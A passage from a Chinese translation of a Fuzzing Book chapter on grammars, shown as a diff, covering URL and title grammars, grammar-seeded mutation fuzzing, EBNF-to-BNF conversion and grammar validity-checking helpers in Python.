+ <svg class="railroad-diagram" height="92" viewBox="0 0 322.0 92" width="322.0" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="161.0" y="35">param</text></g></g> <g><g class="non-terminal"><text x="91.25" y="65">param</text></g> <g class="terminal"><text x="156.75" y="65">&</text></g> <g class="non-terminal"><text x="226.5" y="65">params</text></g></g></g></g></svg>
+
+```py
+param
+
+```
+
+ <svg class="railroad-diagram" height="92" viewBox="0 0 271.0 92" width="271.0" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="82.75" y="35">id</text></g> <g class="terminal"><text x="135.5" y="35">=</text></g> <g class="non-terminal"><text x="188.25" y="35">id</text></g></g> <g><g class="non-terminal"><text x="78.5" y="65">id</text></g> <g class="terminal"><text x="131.25" y="65">=</text></g> <g class="non-terminal"><text x="188.25" y="65">nat</text></g></g></g></g></svg>
+
+同样，在几毫秒内，我们可以产生大量有效的输入。
+
+```py
+for i in range(10):
+    print(simple_grammar_fuzzer(grammar=URL_GRAMMAR, max_nonterminals=10))
+
+```
+
+```py
+https://user:password@cispa.saarland:80/
+http://fuzzingbook.com?def=56&x89=3&x46=48&def=def
+ftp://cispa.saarland/?x71=5&x35=90&def=abc
+https://cispa.saarland:80/def?def=7&x23=abc
+https://fuzzingbook.com:80/
+https://fuzzingbook.com:80/abc?def=abc&abc=x14&def=abc&abc=2&def=38
+ftps://fuzzingbook.com/x87
+https://user:password@fuzzingbook.com:6?def=54&x44=abc
+http://fuzzingbook.com:80?x33=25&def=8
+http://fuzzingbook.com:8080/def
+
+```
+
+### 自然语言语法
+
+最后，语法不仅限于诸如计算机输入之类的*形式语言*，而且还可以用于产生*自然语言*。 这是我们用来选择本书标题的语法：
+
+```py
+TITLE_GRAMMAR = {
+    "<start>": ["<title>"],
+    "<title>": ["<topic>: <subtopic>"],
+    "<topic>": ["Generating Software Tests", "<fuzzing-prefix>Fuzzing", "The Fuzzing Book"],
+    "<fuzzing-prefix>": ["", "The Art of ", "The Joy of "],
+    "<subtopic>": ["<subtopic-main>",
+                   "<subtopic-prefix><subtopic-main>",
+                   "<subtopic-main><subtopic-suffix>"],
+    "<subtopic-main>": ["Breaking Software",
+                        "Generating Software Tests",
+                        "Principles, Techniques and Tools"],
+    "<subtopic-prefix>": ["", "Tools and Techniques for "],
+    "<subtopic-suffix>": [" for <reader-property> and <reader-property>",
+                          " for <software-property> and <software-property>"],
+    "<reader-property>": ["Fun", "Profit"],
+    "<software-property>": ["Robustness", "Reliability", "Security"],
+}
+
+```
+
+```py
+syntax_diagram(TITLE_GRAMMAR)
+
+```
+
+```py
+start
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 182.5 62" width="182.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="91.25" y="35">title</text></g></g></g></g></svg>
+
+```py
+title
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 347.5 62" width="347.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="91.25" y="35">topic</text></g> <g class="terminal"><text x="161.0" y="35">:</text></g> <g class="non-terminal"><text x="243.5" y="35">subtopic</text></g></g></g></g></svg>
+
+```py
+topic
+
+```
+
+ <svg class="railroad-diagram" height="122" viewBox="0 0 358.5 122" width="358.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="179.25" y="35">Generating Software Tests</text></g></g> <g><g class="non-terminal"><text x="129.5" y="65">fuzzing-prefix</text></g> <g class="terminal"><text x="258.75" y="65">Fuzzing</text></g></g> <g><g class="terminal"><text x="179.25" y="95">The Fuzzing Book</text></g></g></g></g></svg>
+
+```py
+fuzzing-prefix
+
+```
+
+ <svg class="railroad-diagram" height="122" viewBox="0 0 233.5 122" width="233.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="116.75" y="65">The Art of</text></g></g> <g><g class="terminal"><text x="116.75" y="95">The Joy of</text></g></g></g></g></svg>
+
+```py
+subtopic
+
+```
+
+ <svg class="railroad-diagram" height="122" viewBox="0 0 418.0 122" width="418.0" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="209.0" y="35">subtopic-main</text></g></g> <g><g class="non-terminal"><text x="133.75" y="65">subtopic-prefix</text></g> <g class="non-terminal"><text x="292.75" y="65">subtopic-main</text></g></g> <g><g class="non-terminal"><text x="125.25" y="95">subtopic-main</text></g> <g class="non-terminal"><text x="284.25" y="95">subtopic-suffix</text></g></g></g></g></svg>
+
+```py
+subtopic-main
+
+```
+
+ <svg class="railroad-diagram" height="122" viewBox="0 0 412.0 122" width="412.0" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="206.0" y="35">Breaking Software</text></g></g> <g><g class="terminal"><text x="206.0" y="65">Generating Software Tests</text></g></g> <g><g class="terminal"><text x="206.0" y="95">Principles, Techniques and Tools</text></g></g></g></g></svg>
+
+```py
+subtopic-prefix
+
+```
+
+ <svg class="railroad-diagram" height="92" viewBox="0 0 352.5 92" width="352.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="176.25" y="65">Tools and Techniques for</text></g></g></g></g></svg>
+
+```py
+subtopic-suffix
+
+```
+
+ <svg class="railroad-diagram" height="92" viewBox="0 0 634.0 92" width="634.0" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="108.25" y="35">for</text></g> <g class="non-terminal"><text x="233.25" y="35">reader-property</text></g> <g class="terminal"><text x="358.25" y="35">and</text></g> <g class="non-terminal"><text x="483.25" y="35">reader-property</text></g></g> <g><g class="terminal"><text x="91.25" y="65">for</text></g> <g class="non-terminal"><text x="224.75" y="65">software-property</text></g> <g class="terminal"><text x="358.25" y="65">and</text></g> <g class="non-terminal"><text x="491.75" y="65">software-property</text></g></g></g></g></svg>
+
+```py
+reader-property
+
+```
+
+ <svg class="railroad-diagram" height="92" viewBox="0 0 191.0 92" width="191.0" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="95.5" y="35">Fun</text></g></g> <g><g class="terminal"><text x="95.5" y="65">Profit</text></g></g></g></g></svg>
+
+```py
+software-property
+
+```
+
+ <svg class="railroad-diagram" height="122" viewBox="0 0 233.5 122" width="233.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="116.75" y="35">Robustness</text></g></g> <g><g class="terminal"><text x="116.75" y="65">Reliability</text></g></g> <g><g class="terminal"><text x="116.75" y="95">Security</text></g></g></g></g></svg>
+
+```py
+titles = set()
+while len(titles) < 10:
+    titles.add(simple_grammar_fuzzer(
+        grammar=TITLE_GRAMMAR, max_nonterminals=10))
+titles
+
+```
+
+```py
+{'Fuzzing: Generating Software Tests',
+ 'Fuzzing: Principles, Techniques and Tools',
+ 'Generating Software Tests: Breaking Software',
+ 'Generating Software Tests: Breaking Software for Robustness and Robustness',
+ 'Generating Software Tests: Principles, Techniques and Tools',
+ 'Generating Software Tests: Principles, Techniques and Tools for Profit and Fun',
+ 'Generating Software Tests: Tools and Techniques for Principles, Techniques and Tools',
+ 'The Fuzzing Book: Breaking Software',
+ 'The Fuzzing Book: Generating Software Tests for Profit and Profit',
+ 'The Fuzzing Book: Generating Software Tests for Robustness and Robustness'}
+
+```
+
+（如果您发现此处存在冗余（“鲁棒性和鲁棒性”）：在[我们有关基于覆盖率的模糊测试](GrammarCoverageFuzzer.html)的章节中，我们将展示如何仅覆盖每个扩展一次。并且，如果您喜欢某些替代方法 [概率语法模糊](ProbabilisticGrammarFuzzer.html)比其他要多。
+
+## 语法作为突变种子
+
+语法的一个非常有用的属性是它们产生大多数有效的输入。 从句法的观点来看，输入实际上*始终是*有效，因为它们满足给定语法的约束。 （当然，首先需要一个有效的语法。）但是，还有*语义*属性，这些属性无法轻松地用语法表达。 例如，如果对于URL，端口范围应该在1024到2048之间，则很难用语法来编写。 如果必须满足更复杂的约束条件，则可以很快达到语法可以表达的极限。
+
+解决此问题的一种方法是对语法附加约束，因为我们将在本书的后面讨论[。 另一种可能性是将基于语法的模糊测试和基于](ConstraintFuzzer.html)[突变的模糊测试](MutationFuzzer.html)的优势结合在一起。 想法是将语法生成的输入用作*种子*，以进行进一步的基于突变的模糊测试。 这样，我们不仅可以探索*有效*输入，还可以检查有效输入和无效输入之间的*边界*。 这一点特别有趣，因为稍微无效的输入允许查找解析器错误（通常很丰富）。 就像一般的模糊测试一样，意外的情况揭示了程序中的错误。
+
+要将生成的输入用作种子，我们可以将它们直接输入到前面介绍的突变模糊处理程序中：
+
+```py
+from [MutationFuzzer](MutationFuzzer.html) import MutationFuzzer  # minor dependency
+
+```
+
+```py
+number_of_seeds = 10
+seeds = [
+    simple_grammar_fuzzer(
+        grammar=URL_GRAMMAR,
+        max_nonterminals=10) for i in range(number_of_seeds)]
+seeds
+
+```
+
+```py
+['ftps://user:password@www.google.com:80',
+ 'http://cispa.saarland/',
+ 'ftp://www.google.com:42/',
+ 'ftps://user:password@fuzzingbook.com:39?abc=abc',
+ 'https://www.google.com?x33=1&x06=1',
+ 'http://www.google.com:02/',
+ 'https://user:password@www.google.com/',
+ 'ftp://cispa.saarland:8080/?abc=abc&def=def&abc=5',
+ 'http://www.google.com:80/def?def=abc',
+ 'http://user:password@cispa.saarland/']
+
+```
+
+```py
+m = MutationFuzzer(seeds)
+
+```
+
+```py
+[m.fuzz() for i in range(20)]
+
+```
+
+```py
+['ftps://user:password@www.google.com:80',
+ 'http://cispa.saarland/',
+ 'ftp://www.google.com:42/',
+ 'ftps://user:password@fuzzingbook.com:39?abc=abc',
+ 'https://www.google.com?x33=1&x06=1',
+ 'http://www.google.com:02/',
+ 'https://user:password@www.google.com/',
+ 'ftp://cispa.saarland:8080/?abc=abc&def=def&abc=5',
+ 'http://www.google.com:80/def?def=abc',
+ 'http://user:password@cispa.saarland/',
+ 'Eh4tp:www.coogle.com:80/def?d%f=abc',
+ 'ftps://}ser:passwod@fuzzingbook.com:9?abc=abc',
+ 'uftp//cispa.sRaarland:808&0?abc=abc&def=defabc=5',
+ 'http://user:paswor9d@cispar.saarland/v',
+ 'ftp://Www.g\x7fogle.cAom:42/',
+ 'hht://userC:qassMword@cispy.csaarland/',
+ 'httx://ww.googlecom:80defde`f=ac',
+ 'htt://cispq.waarlnd/',
+ 'htFtp\t://cmspa./saarna(md/',
+ 'ft:/www.google.com:42\x0f']
+
+```
+
+前10个`fuzz()`调用返回种子输入（按设计），而后一个再次创建任意突变。 使用`MutationCoverageFuzzer`而不是`MutationFuzzer`，我们可以再次根据覆盖率进行搜索-从而将多个世界的最佳点融合在一起。
+
+## 语法工具箱
+
+现在让我们介绍一些有助于我们编写语法的技术。
+
+### 转义
+
+通过`<`和`>`在语法中定界非终结符，我们如何实际表达某些输入应包含`<`和`>`？ 答案很简单：只需为它们引入一个符号即可。
+
+```py
+simple_nonterminal_grammar = {
+    "<start>": ["<nonterminal>"],
+    "<nonterminal>": ["<left-angle><identifier><right-angle>"],
+    "<left-angle>": ["<"],
+    "<right-angle>": [">"],
+    "<identifier>": ["id"]  # for now
+}
+
+```
+
+在`simple_nonterminal_grammar`中，`<left-angle>`的扩展名和`<right-angle>`的扩展名都不能误认为是非终结符。 因此，我们可以生产任意数量的东西。
+
+### 扩展语法
+
+在本书的过程中，我们经常遇到通过*扩展*具有新功能的现有语法来创建语法的问题。 这样的扩展非常类似于面向对象编程中的子类化。
+
+要从现有语法$ g $创建新语法$ g'$，我们首先将$ g $复制到$ g'$，然后使用新的替代方法扩展现有规则和/或添加新的符号。 这是一个示例，使用更好的标识符规则扩展了上述`nonterminal`语法：
+
+```py
+import [copy](https://docs.python.org/3/library/copy.html)
+
+```
+
+```py
+nonterminal_grammar = copy.deepcopy(simple_nonterminal_grammar)
+nonterminal_grammar["<identifier>"] = ["<idchar>", "<identifier><idchar>"]
+nonterminal_grammar["<idchar>"] = ['a', 'b', 'c', 'd']  # for now
+
+```
+
+```py
+nonterminal_grammar
+
+```
+
+```py
+{'<start>': ['<nonterminal>'],
+ '<nonterminal>': ['<left-angle><identifier><right-angle>'],
+ '<left-angle>': ['<'],
+ '<right-angle>': ['>'],
+ '<identifier>': ['<idchar>', '<identifier><idchar>'],
+ '<idchar>': ['a', 'b', 'c', 'd']}
+
+```
+
+由于语法的这种扩展是常见的操作，因此我们引入了自定义函数`extend_grammar()`，该函数首先复制给定的语法，然后使用Python字典`update()`方法从字典中对其进行更新：
+
+```py
+def extend_grammar(grammar, extension={}):
+    new_grammar = copy.deepcopy(grammar)
+    new_grammar.update(extension)
+    return new_grammar
+
+```
+
+对`extend_grammar()`的此调用将`simple_nonterminal_grammar`扩展到`nonterminal_grammar`，就像上面的“手动”示例一样：
+
+```py
+nonterminal_grammar = extend_grammar(simple_nonterminal_grammar,
+                                     {
+                                         "<identifier>": ["<idchar>", "<identifier><idchar>"],
+                                         # for now
+                                         "<idchar>": ['a', 'b', 'c', 'd']
+                                     }
+                                     )
+
+```
+
+### 字符类
+
+在上面的`nonterminal_grammar`中，我们仅列举了前几个字母； 确实，如`<idchar> ::= 'a' | 'b' | 'c' ...`中那样手动枚举语法中的所有字母或数字有点痛苦。
+
+但是，请记住，语法是程序的一部分，因此也可以通过程序构造。 我们引入一个函数`srange()`，该函数在字符串中构造一个字符列表：
+
+```py
+import [string](https://docs.python.org/3/library/string.html)
+
+```
+
+```py
+def srange(characters):
+    """Construct a list with all characters in the string"""
+    return [c for c in characters]
+
+```
+
+如果我们将包含所有ASCII字母的常量`string.ascii_letters`传递给它，则`srange()`将返回所有ASCII字母的列表：
+
+```py
+string.ascii_letters
+
+```
+
+```py
+'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
+
+```
+
+```py
+srange(string.ascii_letters)[:10]
+
+```
+
+```py
+['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j']
+
+```
+
+我们可以在语法中使用这些常量来快速定义标识符：
+
+```py
+nonterminal_grammar = extend_grammar(nonterminal_grammar,
+                                     {
+                                         "<idchar>": srange(string.ascii_letters) + srange(string.digits) + srange("-_")
+                                     }
+                                     )
+
+```
+
+```py
+[simple_grammar_fuzzer(nonterminal_grammar, "<identifier>") for i in range(10)]
+
+```
+
+```py
+['b', 'd', 'V9', 'x4c', 'YdiEWj', 'c', 'xd', '7', 'vIU', 'QhKD']
+
+```
+
+快捷方式`crange(start, end)`返回`start`到（包括）`end`的ASCII范围内的所有字符的列表：
+
+```py
+def crange(character_start, character_end):
+    return [chr(i)
+            for i in range(ord(character_start), ord(character_end) + 1)]
+
+```
+
+我们可以使用它来表示字符范围：
+
+```py
+crange('0', '9')
+
+```
+
+```py
+['0', '1', '2', '3', '4', '5', '6', '7', '8', '9']
+
+```
+
+```py
+assert crange('a', 'z') == srange(string.ascii_lowercase)
+
+```
+
+### 语法快捷方式
+
+在上面的`nonterminal_grammar`中，像在其他语法中一样，我们必须使用*递归*来表示字符的重复，即通过引用原始定义：
+
+```py
+nonterminal_grammar["<identifier>"]
+
+```
+
+```py
+['<idchar>', '<identifier><idchar>']
+
+```
+
+如果我们简单地声明非终结符应该是字母的非空序列，则可能会容易一些，例如
+
+```py
+<identifier> = <idchar>+
+```
+
+其中`+`表示其后跟符号的非空重复。
+
+诸如`+`之类的运算符经常作为语法中方便的*快捷方式*引入。 正式地，我们的语法以 [Backus-Naur形式](https://en.wikipedia.org/wiki/Backus-Naur_form)或简称 *BNF* 的形式出现。 运算符*将* BNF扩展为所谓的_extended BNF *或简称为* EBNF *：
+
+*   `<symbol>?`格式表示`<symbol>`是可选的-也就是说，它可以出现0或1次。
+*   形式`<symbol>+`表示`<symbol>`可以重复出现1次或多次。
+*   形式`<symbol>*`表示`<symbol>`可以出现0次或更多次。 （换句话说，这是一个可选的重复。）
+
+为了使事情变得更加有趣，我们想在上述快捷方式中使用*括号*。 因此，`(<foo><bar>)?`表示`<foo>`和`<bar>`的顺序是可选的。
+
+使用此类运算符，我们可以以更简单的方式定义标识符规则。 为此，让我们创建原始语法的副本并修改`<identifier>`规则：
+
+```py
+nonterminal_ebnf_grammar = extend_grammar(nonterminal_grammar,
+                                          {
+                                              "<identifier>": ["<idchar>+"]
+                                          }
+                                          )
+
+```
+
+同样，我们可以简化表达语法。 考虑一下符号是如何可选的，以及如何将整数表示为数字序列。
+
+```py
+EXPR_EBNF_GRAMMAR = {
+    "<start>":
+        ["<expr>"],
+
+    "<expr>":
+        ["<term> + <expr>", "<term> - <expr>", "<term>"],
+
+    "<term>":
+        ["<factor> * <term>", "<factor> / <term>", "<factor>"],
+
+    "<factor>":
+        ["<sign>?<factor>", "(<expr>)", "<integer>(.<integer>)?"],
+
+    "<sign>":
+        ["+", "-"],
+
+    "<integer>":
+        ["<digit>+"],
+
+    "<digit>":
+        srange(string.digits)
+}
+
+```
+
+我们的目标是将上述EBNF语法转换为常规BNF语法。 这是通过以下四个规则完成的：
+
+1.  具有新规则`<new-symbol> ::= content`的表达式`(content)op`变为`<new-symbol>op`，其中`op`是`?`，`+`和`*`之一。
+2.  表达式`<symbol>?`变为`<new-symbol>`，其中`<new-symbol> ::= <empty> | <symbol>`。
+3.  表达式`<symbol>+`变为`<new-symbol>`，其中`<new-symbol> ::= <symbol> | <symbol><new-symbol>`。
+4.  表达式`<symbol>*`变为`<new-symbol>`，其中`<new-symbol> ::= <empty> | <symbol><new-symbol>`。
+
+这里，`<empty>`扩展为空字符串，与`<empty> ::=`相同。 （这也称为 *epsilon扩展*。）
+
+如果这些运算符使您想起*正则表达式*，这并非偶然：实际上，可以使用上述规则（以及使用`crange()`定义的字符类）将任何基本正则表达式转换为语法。 。
+
+将这些规则应用于上面的示例将产生以下结果：
+
+*   `<idchar>+`与`<new-symbol> ::= <idchar> | <idchar><new-symbol>`成为`<idchar><new-symbol>`。
+*   `<integer>(.<integer>)?`与`<new-symbol> ::= <empty> | .<integer>`成为`<integer><new-symbol>`。
+
+让我们分三步实施这些规则。
+
+#### 创建新符号
+
+首先，我们需要一种机制来创建新符号。 这很简单。
+
+```py
+def new_symbol(grammar, symbol_name="<symbol>"):
+    """Return a new symbol for `grammar` based on `symbol_name`"""
+    if symbol_name not in grammar:
+        return symbol_name
+
+    count = 1
+    while True:
+        tentative_symbol_name = symbol_name[:-1] + "-" + repr(count) + ">"
+        if tentative_symbol_name not in grammar:
+            return tentative_symbol_name
+        count += 1
+
+```
+
+```py
+assert new_symbol(EXPR_EBNF_GRAMMAR, '<expr>') == '<expr-1>'
+
+```
+
+#### 扩展括号表达式
+
+接下来，我们需要一种从扩展中提取括号表达式的方法，并根据上述规则对其进行扩展。 让我们从提取表达式开始：
+
+```py
+RE_PARENTHESIZED_EXPR = re.compile(r'\([^()]*\)[?+*]')
+
+```
+
+```py
+def parenthesized_expressions(expansion):
+    # In later chapters, we allow expansions to be tuples,
+    # with the expansion being the first element
+    if isinstance(expansion, tuple):
+        expansion = expansion[0]
+
+    return re.findall(RE_PARENTHESIZED_EXPR, expansion)
+
+```
+
+```py
+assert parenthesized_expressions("(<foo>)* (<foo><bar>)+ (+<foo>)? <integer>(.<integer>)?") == [
+    '(<foo>)*', '(<foo><bar>)+', '(+<foo>)?', '(.<integer>)?']
+
+```
+
+现在，我们可以使用它们来应用上面的规则编号1，为括号中的表达式引入新的符号。
+
+```py
+def convert_ebnf_parentheses(ebnf_grammar):
+    """Convert a grammar in extended BNF to BNF"""
+    grammar = extend_grammar(ebnf_grammar)
+    for nonterminal in ebnf_grammar:
+        expansions = ebnf_grammar[nonterminal]
+
+        for i in range(len(expansions)):
+            expansion = expansions[i]
+
+            while True:
+                parenthesized_exprs = parenthesized_expressions(expansion)
+                if len(parenthesized_exprs) == 0:
+                    break
+
+                for expr in parenthesized_exprs:
+                    operator = expr[-1:]
+                    contents = expr[1:-2]
+
+                    new_sym = new_symbol(grammar)
+                    expansion = grammar[nonterminal][i].replace(
+                        expr, new_sym + operator, 1)
+                    grammar[nonterminal][i] = expansion
+                    grammar[new_sym] = [contents]
+
+    return grammar
+
+```
+
+这将执行上面概述的转换：
+
+```py
+convert_ebnf_parentheses({"<number>": ["<integer>(.<integer>)?"]})
+
+```
+
+```py
+{'<number>': ['<integer><symbol>?'], '<symbol>': ['.<integer>']}
+
+```
+
+它甚至适用于带括号的嵌套表达式：
+
+```py
+convert_ebnf_parentheses({"<foo>": ["((<foo>)?)+"]})
+
+```
+
+```py
+{'<foo>': ['<symbol-1>+'], '<symbol>': ['<foo>'], '<symbol-1>': ['<symbol>?']}
+
+```
+
+#### 扩展运算符
+
+扩展带括号的表达式后，我们现在需要注意符号后跟运算符（`?`，`*`和`+`）。 与上面的`convert_ebnf_parentheses()`一样，我们首先提取所有符号，然后提取一个运算符。
+
+```py
+RE_EXTENDED_NONTERMINAL = re.compile(r'(<[^<> ]*>[?+*])')
+
+```
+
+```py
+def extended_nonterminals(expansion):
+    # In later chapters, we allow expansions to be tuples,
+    # with the expansion being the first element
+    if isinstance(expansion, tuple):
+        expansion = expansion[0]
+
+    return re.findall(RE_EXTENDED_NONTERMINAL, expansion)
+
+```
+
+```py
+assert extended_nonterminals(
+    "<foo>* <bar>+ <elem>? <none>") == ['<foo>*', '<bar>+', '<elem>?']
+
+```
+
+我们的转换器提取符号和运算符，并根据上述规则添加新符号。
+
+```py
+def convert_ebnf_operators(ebnf_grammar):
+    """Convert a grammar in extended BNF to BNF"""
+    grammar = extend_grammar(ebnf_grammar)
+    for nonterminal in ebnf_grammar:
+        expansions = ebnf_grammar[nonterminal]
+
+        for i in range(len(expansions)):
+            expansion = expansions[i]
+            extended_symbols = extended_nonterminals(expansion)
+
+            for extended_symbol in extended_symbols:
+                operator = extended_symbol[-1:]
+                original_symbol = extended_symbol[:-1]
+
+                new_sym = new_symbol(grammar, original_symbol)
+                grammar[nonterminal][i] = grammar[nonterminal][i].replace(
+                    extended_symbol, new_sym, 1)
+
+                if operator == '?':
+                    grammar[new_sym] = ["", original_symbol]
+                elif operator == '*':
+                    grammar[new_sym] = ["", original_symbol + new_sym]
+                elif operator == '+':
+                    grammar[new_sym] = [
+                        original_symbol, original_symbol + new_sym]
+
+    return grammar
+
+```
+
+```py
+convert_ebnf_operators({"<integer>": ["<digit>+"]})
+
+```
+
+```py
+{'<integer>': ['<digit>'], '<digit>': ['<digit>', '<digit><digit>']}
+
+```
+
+#### 全部在一起
+
+我们可以结合两个，首先扩展括号，然后是运算符：
+
+```py
+def convert_ebnf_grammar(ebnf_grammar):
+    return convert_ebnf_operators(convert_ebnf_parentheses(ebnf_grammar))
+
+```
+
+```py
+convert_ebnf_grammar({"<authority>": ["(<userinfo>@)?<host>(:<port>)?"]})
+
+```
+
+```py
+{'<authority>': ['<symbol-2><host><symbol-1-1>'],
+ '<symbol>': ['<userinfo>@'],
+ '<symbol-1>': [':<port>'],
+ '<symbol-2>': ['', '<symbol>'],
+ '<symbol-1-1>': ['', '<symbol-1>']}
+
+```
+
+```py
+expr_grammar = convert_ebnf_grammar(EXPR_EBNF_GRAMMAR)
+expr_grammar
+
+```
+
+```py
+{'<start>': ['<expr>'],
+ '<expr>': ['<term> + <expr>', '<term> - <expr>', '<term>'],
+ '<term>': ['<factor> * <term>', '<factor> / <term>', '<factor>'],
+ '<factor>': ['<sign-1><factor>', '(<expr>)', '<integer><symbol-1>'],
+ '<sign>': ['+', '-'],
+ '<integer>': ['<digit-1>'],
+ '<digit>': ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9'],
+ '<symbol>': ['.<integer>'],
+ '<sign-1>': ['', '<sign>'],
+ '<symbol-1>': ['', '<symbol>'],
+ '<digit-1>': ['<digit>', '<digit><digit-1>']}
+
+```
+
+成功！ 我们已经很好地将EBNF语法转换为BNF。
+
+通过字符类和EBNF语法转换，我们有两个功能强大的工具可以使语法编写更加容易。 在处理语法时，我们将一再使用它们。
+
+### 语法扩展
+
+在本书的学习过程中，我们经常希望为语法指定*附加信息*，例如 [*概率*](ProbabilisticGrammarFuzzer.html) 或 [*约束*  。 为了支持这些扩展以及可能的其他扩展，我们定义了*注释*机制。
+
+我们注释语法的概念是将*注释*添加到各个扩展中。 为此，我们允许扩展不仅是字符串，而且是字符串和一组属性的*对*，如
+
+```py
+"<expr>":
+        [("<term> + <expr>", opts(min_depth=10)),
+         ("<term> - <expr>", opts(max_depth=2)),
+         "<term>"]
+
+```
+
+在这里，`opts()`函数将使我们能够表达适用于各个扩展的注释； 在这种情况下，加法将以`min_depth`值为10注释，减法以`max_depth`值为2注释。这些注释的含义留给处理语法的各个算法； 但是，一般的想法是可以忽略它们。
+
+我们的`opts()`辅助函数返回其参数到值的映射：
+
+```py
+def opts(**kwargs):
+    return kwargs
+
+```
+
+```py
+opts(min_depth=10)
+
+```
+
+```py
+{'min_depth': 10}
+
+```
+
+为了处理扩展字符串以及扩展和注释对，我们通过指定的辅助函数`exp_string()`和`exp_opts()`访问扩展字符串和相关的注释：
+
+```py
+def exp_string(expansion):
+    """Return the string to be expanded"""
+    if isinstance(expansion, str):
+        return expansion
+    return expansion[0]
+
+```
+
+```py
+exp_string(("<term> + <expr>", opts(min_depth=10)))
+
+```
+
+```py
+'<term> + <expr>'
+
+```
+
+```py
+def exp_opts(expansion):
+    """Return the options of an expansion.  If options are not defined, return {}"""
+    if isinstance(expansion, str):
+        return {}
+    return expansion[1]
+
+```
+
+```py
+def exp_opt(expansion, attribute):
+    """Return the given attribution of an expansion.
+ If attribute is not defined, return None"""
+    return exp_opts(expansion).get(attribute, None)
+
+```
+
+```py
+exp_opts(("<term> + <expr>", opts(min_depth=10)))
+
+```
+
+```py
+{'min_depth': 10}
+
+```
+
+```py
+exp_opt(("<term> - <expr>", opts(max_depth=2)), 'max_depth')
+
+```
+
+```py
+2
+
+```
+
+最后，我们定义一个设置特定选项的辅助函数：
+
+```py
+def set_opts(grammar, symbol, expansion, opts=None):
+    """Set the options of the given expansion of grammar[symbol] to opts"""
+    expansions = grammar[symbol]
+    for i, exp in enumerate(expansions):
+        if exp_string(exp) != exp_string(expansion):
+            continue
+
+        new_opts = exp_opts(exp)
+        if opts is None or new_opts == {}:
+            new_opts = opts
+        else:
+            for key in opts:
+                new_opts[key] = opts[key]
+        if new_opts == {}:
+            grammar[symbol][i] = exp_string(exp)
+        else:
+            grammar[symbol][i] = (exp_string(exp), new_opts)
+        return
+
+    raise KeyError(
+        "no expansion " +
+        repr(symbol) +
+        " -> " +
+        repr(
+            exp_string(expansion)))
+
+```
+
+## 检查语法
+
+由于语法以字符串表示，因此引入错误非常容易。 因此，让我们介绍一个辅助函数，该函数检查语法的一致性。
+
+辅助函数`is_valid_grammar()`遍历语法以检查是否定义了所有使用的符号，反之亦然，这对于调试非常有用； 它还检查从起始符号是否可以访问所有符号。 您不必在这里深入研究细节，但是与往常一样，在使用输入数据之前，请务必先弄清楚它。
+
+```py
+import [sys](https://docs.python.org/3/library/sys.html)
+
+```
+
+```py
+def def_used_nonterminals(grammar, start_symbol=START_SYMBOL):
+    defined_nonterminals = set()
+    used_nonterminals = {start_symbol}
+
+    for defined_nonterminal in grammar:
+        defined_nonterminals.add(defined_nonterminal)
+        expansions = grammar[defined_nonterminal]
+        if not isinstance(expansions, list):
+            print(repr(defined_nonterminal) + ": expansion is not a list",
+                  file=sys.stderr)
+            return None, None
+
+        if len(expansions) == 0:
+            print(repr(defined_nonterminal) + ": expansion list empty",
+                  file=sys.stderr)
+            return None, None
+
+        for expansion in expansions:
+            if isinstance(expansion, tuple):
+                expansion = expansion[0]
+            if not isinstance(expansion, str):
+                print(repr(defined_nonterminal) + ": "
+                      + repr(expansion) + ": not a string",
+                      file=sys.stderr)
+                return None, None
+
+            for used_nonterminal in nonterminals(expansion):
+                used_nonterminals.add(used_nonterminal)
+
+    return defined_nonterminals, used_nonterminals
+
+```
+
+```py
+def reachable_nonterminals(grammar, start_symbol=START_SYMBOL):
+    reachable = set()
+
+    def _find_reachable_nonterminals(grammar, symbol):
+        nonlocal reachable
+        reachable.add(symbol)
+        for expansion in grammar.get(symbol, []):
+            for nonterminal in nonterminals(expansion):
+                if nonterminal not in reachable:
+                    _find_reachable_nonterminals(grammar, nonterminal)
+
+    _find_reachable_nonterminals(grammar, start_symbol)
+    return reachable
+
+```
+
+```py
+def unreachable_nonterminals(grammar, start_symbol=START_SYMBOL):
+    return grammar.keys() - reachable_nonterminals(grammar, start_symbol)
+
+```
+
+```py
+def opts_used(grammar):
+    used_opts = set()
+    for symbol in grammar:
+        for expansion in grammar[symbol]:
+            used_opts |= set(exp_opts(expansion).keys())
+    return used_opts
+
+```
+
+```py
+def is_valid_grammar(grammar, start_symbol=START_SYMBOL, supported_opts=None):
+    defined_nonterminals, used_nonterminals = \
+        def_used_nonterminals(grammar, start_symbol)
+    if defined_nonterminals is None or used_nonterminals is None:
+        return False
+
+    # Do not complain about '<start>' being not used,
+    # even if start_symbol is different
+    if START_SYMBOL in grammar:
+        used_nonterminals.add(START_SYMBOL)
+
+    for unused_nonterminal in defined_nonterminals - used_nonterminals:
+        print(repr(unused_nonterminal) + ": defined, but not used",
+              file=sys.stderr)
+    for undefined_nonterminal in used_nonterminals - defined_nonterminals:
+        print(repr(undefined_nonterminal) + ": used, but not defined",
+              file=sys.stderr)
+
+    # Symbols must be reachable either from <start> or given start symbol
+    unreachable = unreachable_nonterminals(grammar, start_symbol)
+    msg_start_symbol = start_symbol
